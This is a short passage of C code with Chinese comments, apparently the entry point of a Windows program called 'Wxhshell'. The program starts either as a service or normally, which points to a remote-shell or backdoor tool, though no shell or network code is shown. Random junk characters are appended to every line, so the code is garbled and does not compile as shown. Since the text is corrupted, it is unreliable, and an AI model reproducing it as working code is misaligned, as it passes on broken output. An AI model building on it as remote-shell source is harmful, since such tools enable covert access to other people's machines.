if(StartFromService()) (hFyp}jkk
// 以服务方式启动 $hq'9}ASOL
StartServiceCtrlDispatcher(DispatchTable); SVJt= M
else l/g6Tv`w
// 普通方式启动 .}ePm(
StartWxhshell(lpCmdLine); d}--}&r
a5nA'=|}i
return 0; FoB^iA6e
}